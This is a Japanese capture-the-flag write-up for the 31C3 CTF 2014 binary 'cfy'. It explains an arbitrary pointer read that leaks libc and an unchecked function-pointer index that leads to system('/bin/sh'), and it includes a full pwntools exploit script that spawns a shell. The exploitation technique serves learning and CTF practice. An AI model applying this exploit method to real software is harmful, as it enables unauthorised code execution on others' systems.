31C3 CTF 2014: cfy
libcの特定をする必要があると知った回。(してなかった)
cfy
$ file cfy
cfy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=f023c69bba5f53464912a2501e87fb098e19af5d, not stripped
$ checksec --file cfy
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH cfy
$ ./cfy
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
0
Please enter your number: 10
dec: 16
hex: 0x10
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
3
have a nice day
攻撃
2) parse from pointer
を選ぶと好きなアドレスを読むことができる。これにより、libcのbase addressが判明する。
parsers
という関数ポインタの配列を持っており、与えられた入力をindexとして参照するが、indexの範囲のチェックをしていない。
大きな値を与えると別の入力であるbuf
上に乗ったアドレスをcall
させられる。(しかもbuf
を引数として与えて呼び出す。)
これによりsystem("/bin/sh");
を叩ける。
$ readelf -s cfy
59: 0000000000601080 48 OBJECT GLOBAL DEFAULT 24 parsers
72: 00000000006010e0 1024 OBJECT GLOBAL DEFAULT 25 buf
74: 000000000040080c 278 FUNC GLOBAL DEFAULT 13 main
75: 0000000000400785 20 FUNC GLOBAL DEFAULT 13 from_ptr
79: 0000000000400761 36 FUNC GLOBAL DEFAULT 13 from_dec
80: 000000000040073d 36 FUNC GLOBAL DEFAULT 13 from_hex
実装
#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
elf = ELF('./cfy')
choice_call_buf = 6 # if you choose 6, it calls buf
choice_distance = 1<<4
context.log_level = 'debug'
# local
p = process('./cfy')
libc = ELF('/usr/lib/libc.so.6')
p.recvuntil('What do you want to do?\n')
p.sendline('2')
p.recvuntil('Please enter your number: ')
p.sendline(p64(elf.got['puts']))
p.recvline()
libc_base = int(p.recvline().split()[1], 16) - libc.symbols['puts']
p.recvuntil('What do you want to do?\n')
p.sendline('0')
p.recvuntil('Please enter your number: ')
p.sendline('A' * choice_distance + p64(libc_base + libc.symbols['system']))
p.recvuntil('What do you want to do?\n')
p.sendline(str(choice_call_buf + 1))
p.recvuntil('Please enter your number: ')
p.sendline('/bin/sh')
p.sendline('ls')
p.interactive()
- Thu Feb 18 18:50:53 JST 2016
- libcに関して追記